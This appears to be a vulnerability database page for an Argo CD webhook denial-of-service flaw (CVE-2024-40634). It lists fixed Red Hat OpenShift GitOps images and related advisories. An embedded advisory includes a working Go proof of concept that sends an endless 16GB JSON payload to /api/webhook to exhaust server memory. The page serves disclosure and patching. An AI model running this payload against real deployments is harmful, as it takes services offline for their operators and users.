https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:5fe4ade2ee712defbdd1e0b64af88b62ed7c9bd95ee896e1a9de5ac528320e19_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:ba1ed27f053c5cbb54febfa8b03a038250c557586c501e09abe6906592cdcd19_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:c26725f56d3fe072550431d490cd4faefc7bed9dc624d5f6c240044e736accc5_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/console-plugin-rhel8@sha256:e3979829c8f831fac5a8f7e22e620b8d79cb223dc973a4d9d1fe3b6245bf6ab4_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/dex-rhel8@sha256:67837763574902fd1c6ac1bff6bd7efe6e1fab7049389ae69bc21f50d810397c_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/dex-rhel8@sha256:af0b83accf4344127f61b381dd4f520cda86ade8ee983f1c1ebf11a439f021a7_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/dex-rhel8@sha256:d002617194b11ad14c836a5367ca0198be802c40d8e86b54f188f80fbdf70ff1_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/dex-rhel8@sha256:dbcaa78bc38f4f413eb826f39473c775ec47e64dd17a8779f2c74bf1e65631b5_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-operator-bundle@sha256:47798cd9f0498560eab4efede77f144b937b07ddb77e3831b654f51d1a5b04b6_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:81bc146c5dfbacde091a03ed12d04b61bc33258d44203798e332efb0ee5c27f9_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:9164b66f491acb3f5ad79a44b1a0d342644bc3c860e98fd2034aa7676b897024_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:edfa5765e92902d63473e1921d4814a007db7bf7242a11b929b1550954ea1dde_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8-operator@sha256:f979017b7f16d95047c74a087eac689f339cb0a6ad8fa740c138151162a83e29_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:5f9ae6792724ac2e40928d65981d33d54cb29e0d03a4c76eb18deabdf76601bc_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:75cbc8b5e4b25ded63ad9dfec0e1acaca8f0779c85c8e28b489ba2292d176c2b_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:a0684ea750c0aef0ee43e8802a41464d2d6a59a33e698e871b544e7052a6ebc8_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/gitops-rhel8@sha256:eb2ad7951c4e0125fb803d681f42f6e8a4d0ce03e1be9567f3aeb9d131c3ed5b_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:178d6bd716c9054f92c9f3889b9f005ca5fd9934b39834e7e13bb34600b24b6b_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:1e17fb78bcf6d4799b02e514527010cf267502d982c2f6e7ce92309e9d0cf550_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:9f4d4a389a54f9c58527e7b5177b11b2f2829ef59a56fae3a4f70192a4823b32_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/kam-delivery-rhel8@sha256:fd3214d586fd54846577a57285378b87cade3575911d6040701aee903a53800a_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:02ebf2575bd5991d75d02355967659c71e52f1e7e86bf92e05e614280712552a_amd64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:103da26a12b0f6408da3a16b93a4051ae3c2bd68c5c23398ab09d6a3bc33cb3b_ppc64le as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:423090fd4a5d3f096c61c0445c005da53095dff0154b9ad680c3749b7ef6e4dd_arm64 as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973 - Fixedopenshift-gitops-1/must-gather-rhel8@sha256:888cc5b63ecee0f30e1ae45faf5ccb2d17c73c902a918b9c2e5abe85f8579f46_s390x as a component of Red Hat OpenShift GitOps 1.12redhat_csaf
Before applying this update, make sure all previously released errata relevant to your system have been applied. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258
https://access.redhat.com/errata/RHSA-2024:4973
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (119)
Products and version ranges known to be affected.
advisories (7)
Vendor and ecosystem advisories describing this.
- RHSA-2024:4891Red Hat Security Advisory: Errata Advisory for Red Hat OpenShift GitOps v1.13.1 security update2024-07-26csaf · redhat_csafUS
An update is now available for Red Hat OpenShift GitOps v1.13.1. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- RHSA-2024:4972Red Hat Security Advisory: Errata Advisory for Red Hat OpenShift GitOps v1.11.7 security update2024-08-01csaf · redhat_csafUS
An update is now available for Red Hat OpenShift GitOps v1.11.7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- RHSA-2024:4973Red Hat Security Advisory: Errata Advisory for Red Hat OpenShift GitOps v1.12.5 security update2024-08-01csaf · redhat_csafUS
An update is now available for Red Hat OpenShift GitOps v1.12.5. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- WID-SEC-W-2024-1718Red Hat OpenShift (GitOps): Schwachstelle ermöglicht Denial of ServiceDeutsch2024-07-28csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat OpenShift ausnutzen, um einen Denial of Service Angriff durchzuführen.
- GHSA-jmvp-698c-4x3wArgo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint2024-07-22ghsa · osvUS
### Summary This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. ### Details The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory. The fix would be to enforce a limit on the size of the request being parsed. ### PoC Port-forward to the argocd-server service, like so: ```console kubectl port-forward svc/argocd-server -n argocd 8080:443 ``` Run the below code: ```go package main import ( "crypto/tls" "io" "net/http" ) // Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated } // Read generates the next chunk of the dummy JSON payload. func (r *DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating } start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true } for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } } r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil } func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB reader := &DummyJSONReader{size: payloadSize} // HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) } // Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push") resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close() println("Response status code:", resp.StatusCode) } ``` ### Patches A patch for this vulnerability has been released in the following Argo CD versions: v2.11.6 v2.10.15 v2.9.20 ### For more information If you have any questions or comments about this advisory: Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd ### Credits This vulnerability was found & reported by Jakub Ciolek The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
- BIT-argo-cd-2024-40634Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint2024-07-24vendor · osvUS
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.
- GO-2024-3002Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint in github.com/argoproj/argo-cd2024-08-06vendor · osvUS
Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint in github.com/argoproj/argo-cd
also known as (7)
Other names and identifiers for this entity.
- CNNVD-202407-2269cnnvd
- EUVD-2024-2379enisa_euvd
- BDU:2024-05674fstec_bdu
- GHSA-jmvp-698c-4x3wenisa_euvd
- BIT-argo-cd-2024-40634osv
- GHSA-jmvp-698c-4x3wosv
- GO-2024-3002osv
sources
Which sources assert this record, and when.
references (14)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2024-40634cnnvd
- https://cxsecurity.com/cveshow/CVE-2024-40634/cnnvd
- https://github.com/argoproj/argo-cd/commit/46c0c0b64deaab1ece70cb701030b76668ad0cdccnnvd
- https://github.com/argoproj/argo-cd/commit/540e3a57b90eb3655db54793332fac86bcc38b36cnnvd
- https://github.com/argoproj/argo-cd/commit/d881ee78949e23160a0b280bb159e4d3d625a4dfcnnvd
- https://github.com/argoproj/argo-cd/security/advisories/GHSA-jmvp-698c-4x3wcnnvd
- https://github.com/argoproj/argo-cd/commit/46c0c0b64deaab1ece70cb701030b76668ad0cdcenisa_euvd
- https://github.com/argoproj/argo-cd/commit/540e3a57b90eb3655db54793332fac86bcc38b36enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan